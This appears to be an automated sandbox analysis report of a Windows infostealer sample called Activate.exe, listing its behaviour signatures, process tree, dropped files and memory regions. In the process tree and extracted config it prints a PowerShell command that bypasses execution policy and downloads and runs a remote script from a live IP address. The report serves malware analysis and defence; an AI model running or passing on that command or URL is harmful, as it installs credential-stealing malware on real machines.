Analysis

  • max time kernel
    93s
  • max time network
    147s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250425-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250425-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    06/10/2025, 19:11

General

  • Target
    Activate.exe
  • Size 6.3MB
  • Sample251006-xv663synv7
  • SHA256 bd9f45337c13bcbd25151f8a06c8894990c7800a905ca1e53480e4d4c7eb7936
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Activate.exe
    "C:\Users\Admin\AppData\Local\Temp\Activate.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2152
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5792
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:3972
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:2172
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:5452
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:4136
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:5956
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:544
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1864
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4308
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5092
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:2128
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:5328

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        19C98F6.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\19C98F6.tmp
                        • Size 40B
                        • SHA256 f7746bbc502cb2e73278dc091b1ea83f04afd3520a375c7352f07d49da559e66
                        • MD5 SHA1 SHA512

                        D4E6BCA.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\D4E6BCA.tmp
                        • Size 1.2MB
                        • SHA256 a93f6c46f0aff0afa250a66c917c551d5bfe62adb01d461d0ddb6bd29144d297
                        • MD5 SHA1 SHA512 SSDEEP

                        MicrosoftEdgeUpdate.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
                        • Size 201KB
                        • SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
                        • MD5 SHA1 SHA512 SSDEEP

                        __PSScriptPolicyTest_o301ttv4.xvg.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o301ttv4.xvg.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        memory/544-27-0x00000144166C0000-0x00000144166C2000-memory.dmp

                        memory/1864-29-0x0000000000650000-0x0000000000653000-memory.dmp

                        memory/1864-30-0x0000000000660000-0x00000000006B7000-memory.dmp

                        memory/1864-28-0x0000000000430000-0x0000000000484000-memory.dmp

                        memory/2112-0-0x0000000001A50000-0x0000000001B4E000-memory.dmp

                        memory/2112-9-0x0000000074160000-0x00000000742DB000-memory.dmp

                        memory/2112-2-0x0000000074160000-0x00000000742DB000-memory.dmp

                        memory/2112-16-0x0000000074160000-0x00000000742DB000-memory.dmp

                        memory/2112-3-0x00007FFC5F430000-0x00007FFC5F628000-memory.dmp

                        memory/2112-6-0x0000000074175000-0x0000000074176000-memory.dmp

                        memory/2112-7-0x0000000074160000-0x00000000742DB000-memory.dmp

                        memory/2152-20-0x0000021118140000-0x0000021118142000-memory.dmp

                        memory/2172-23-0x0000020F6FC20000-0x0000020F6FC22000-memory.dmp

                        memory/3972-22-0x00000227AB950000-0x00000227AB952000-memory.dmp

                        memory/4136-25-0x000001F217890000-0x000001F217892000-memory.dmp

                        memory/4308-35-0x0000000000ED0000-0x0000000000ED3000-memory.dmp

                        memory/4308-36-0x00000000035A0000-0x0000000003BB0000-memory.dmp

                        memory/4308-40-0x00000000035A0000-0x0000000003BB0000-memory.dmp

                        memory/4308-42-0x00000000035A0000-0x0000000003BB0000-memory.dmp

                        memory/4308-34-0x0000000000830000-0x0000000000E10000-memory.dmp

                        memory/4308-41-0x00000000035A0000-0x0000000003BB0000-memory.dmp

                        memory/4932-17-0x0000000000400000-0x0000000000438000-memory.dmp

                        memory/4932-61-0x0000000000400000-0x0000000000438000-memory.dmp

                        memory/4932-33-0x0000000000400000-0x0000000000438000-memory.dmp

                        memory/4932-11-0x0000000000400000-0x0000000000438000-memory.dmp

                        memory/4932-15-0x00007FFC5F430000-0x00007FFC5F628000-memory.dmp

                        memory/4932-19-0x0000000000400000-0x0000000000438000-memory.dmp

                        memory/5092-58-0x00000000065F0000-0x000000000660E000-memory.dmp

                        memory/5092-59-0x0000000006620000-0x000000000666C000-memory.dmp

                        memory/5092-44-0x0000000005720000-0x0000000005DEA000-memory.dmp

                        memory/5092-45-0x00000000056A0000-0x00000000056C2000-memory.dmp

                        memory/5092-51-0x0000000005F60000-0x0000000005FC6000-memory.dmp

                        memory/5092-52-0x0000000005FD0000-0x0000000006036000-memory.dmp

                        memory/5092-68-0x000000000DB50000-0x000000000E0F6000-memory.dmp

                        memory/5092-53-0x0000000006040000-0x0000000006397000-memory.dmp

                        memory/5092-43-0x0000000004F80000-0x0000000004FB6000-memory.dmp

                        memory/5092-67-0x000000000C470000-0x000000000C492000-memory.dmp

                        memory/5092-66-0x000000000D500000-0x000000000D596000-memory.dmp

                        memory/5092-62-0x0000000007C60000-0x00000000082DA000-memory.dmp

                        memory/5092-63-0x0000000006B00000-0x0000000006B1A000-memory.dmp

                        memory/5092-64-0x00000000740C0000-0x0000000074871000-memory.dmp

                        memory/5452-24-0x000001D453E90000-0x000001D453E92000-memory.dmp

                        memory/5792-21-0x0000028AA6800000-0x0000028AA6802000-memory.dmp

                        memory/5956-26-0x000002C953CF0000-0x000002C953CF2000-memory.dmp